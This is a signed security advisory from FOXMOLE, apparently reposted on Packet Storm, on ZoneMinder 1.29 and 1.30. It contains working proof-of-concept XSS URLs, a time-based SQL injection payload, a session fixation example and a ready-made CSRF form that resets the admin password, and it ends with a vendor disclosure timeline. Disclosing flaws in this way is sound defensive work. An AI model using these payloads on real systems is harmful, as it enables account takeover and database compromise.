Zoneminder versions 1.29 and 1.30 suffer from cross site request forgery, cross site scripting, session fixation, and remote SQL injection vulnerabilities.
04dd869096df8857a51976f38fb0764055eba720300d412a999ef376fb6081d5-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
=== FOXMOLE - Security Advisory 2016-07-05 ===
Zoneminder multiple vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Affected Versions
=================
Zoneminder 1.29,1.30
Issue Overview
==============
Vulnerability Type: SQL Injection, Cross Site Scripting, Session Fixation, No CSRF Protection
Technical Risk: high
Likelihood of Exploitation: medium
Vendor: Zoneminder
Vendor URL: https://zoneminder.com/
Credits: FOXMOLE employee Tim Herres
Advisory URL: https://www.foxmole.com/advisories/foxmole-2016-07-05.txt
Advisory Status: Public
CVE-Number: NA
CVE URL: NA
OVE-ID:
OVI-ID:
CWE-ID: CWE-89
CVSS 2.0: 4.3 (AV:N/AC:M/Au:N/C:P/I:N/A:N)
Impact
======
During an internal code review multiple vulnerabilities were identified.
The whole application misses input validation and output encoding.
This means user supplied input is inserted in an unsafe way.
This could allow a remote attacker to easily compromise user accounts or access the database in an unsafe way.
Issue Description
=================
The following findings are only examples there are quite more. The whole application should be reviewed.
All items tested using Firefox
1)Cross Site Scripting (XSS)
Reflected:
http://192.168.241.131/zm/index.php?view=request&request=log&task=download&key=a9fef1f4&format=texty9fke%27%3Chtml%3E%3Chead%3E%3C/head%3E%3Cbody%3E%3Cscript%3Ealert(1)%3C%2fscript%3E%3C/body%3E%3C/html%3Eayn2h
Reflected without authentication: http://192.168.241.131/zm/index.php/LSE4%22%3E%3Cscript%3Ealert(1)%3C/script%3ELSE
Stored: Creating a new monitor using the name "Bla<script>alert(1)</script>". There is only a clientside protection.
2)SQL Injection
Example Url:http://192.168.241.131/zm/index.php
Parameter: limit (POST)
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: view=request&request=log&task=query&limit=100;(SELECT *
FROM (SELECT(SLEEP(5)))OQkj)#&minTime=1466674406.084434
Easy exploitable using sqlmap.
3)Session Fixation
After a successful authentication the Session Cookie ZMSESSID remains the same.
Example: Cookie before the login = ZMSESSID=26ga0i62e4e51mhfcb68nk3dg2 after successful login
ZMSESSID=26ga0i62e4e51mhfcb68nk3dg2
4)No CSRF Proctection
A possible CSRF attack form, which changes the password of the admin (uid=1), if the corresponding user activates it.
<html>
<body>
<form action="http://192.168.241.131/zm/index.php" method="POST">
<input type="hidden" name="view" value="user" />
<input type="hidden" name="action" value="user" />
<input type="hidden" name="uid" value="1" />
<input type="hidden" name="newUser[MonitorIds]" value="" />
<input type="hidden" name="newUser[Username]" value="admin" />
<input type="hidden" name="newUser[Password]"
value="admin1" />
<input type="hidden" name="conf_password" value="admin1" />
<input type="hidden" name="newUser[Language]" value="" />
<input type="hidden" name="newUser[Enabled]" value="1" />
<input type="hidden" name="newUser[Stream]" value="View" />
<input type="hidden" name="newUser[Events]" value="Edit" />
<input type="hidden" name="newUser[Control]" value="Edit" />
<input type="hidden" name="newUser[Monitors]" value="Edit" />
<input type="hidden" name="newUser[Groups]" value="Edit" />
<input type="hidden" name="newUser[System]" value="Edit" />
<input type="hidden" name="newUser[MaxBandwidth]" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Temporary Workaround and Fix
============================
FOXMOLE advises to disable Zoneminder until the vendor publishes a complete fix.
History
=======
2016-07-05 Issue discovered
2016-11-22 Vendor contacted, no response
2016-12-16 Vendor contacted again, still no response
2017-01-17 Vendor contacted --> working on a patch
2017-01-22 Vendor contacted, asked for an update and
declare advisory release to 2017-02-02 --> no response
2017-02-02 Advisory Release
GPG Signature
=============
This advisory is signed with the GPG key of the FOXMOLE advisories team.
The key can be downloaded here: https://www.foxmole.com/advisories-key-3812092199E3277C.asc
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEEjrQMZqTYqiY2IftqOBIJIZnjJ3wFAliS9w0ACgkQOBIJIZnj
J3yAyhAA0EuT6UjSTVeK5V1nWgmzez9mLTHSfzykzDa+seGUArUjb7dOnqQ6C9O0
21FKxIOOfBdK+CpuqAk0fm5P5CN9jFLqzTuh7+JLdWA8FDpEQdGIZD3iP6DEAh1q
4e78ZA30u18imdtDjxBUO+cfgJPLFwIEr+cn7eEiIn+spW9Bd5g1RJEOAZT91feO
o2rwBz917qRCWKa5I+RqSZj+5Ax4LFiVrvZDgMkihlb4Nvfrpg8ewBQfoATfyqF6
j0ceZBKjLU3aEq4EE9ZvnbuzVLEraiZ+3xDwXdjF0BRKYS6XgRL2xWgr4ldsQ6sS
glDyyU8QH8eh5UVAswebx9fKVARmog+34dX/ESJieI7A7s6N05IGpFrRcHPpjhRL
Y3lNWj5+eSvpRSxf7pb9+KdTd8pZhgKK+MY+GulVIb8xtYYGvdju58Lmu23urV8v
TuHwMOHsHtOzMRr1C8Z47EdTaUm8GsCqoeO8Z4L6ERg/ZZAuQqES26lLpQtCfMze
HuGHkGGKVUi5s7BSMQqXiUNc3xipA39b0uqHw9OQpRRUixGl4rvAXTeYx6yBdiib
tmi3/Oph6kWQjuFFhiFC8zrjJhmEtOLc4O+BweKx/WfgWQQ8JPCsznpD2J3ln8XD
0lP0yuSO0CaJptLioYJhPr+m2SmGxY4rxSuu1cdrOJZfv9QkiLw=
=/QtX
-----END PGP SIGNATURE-----
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed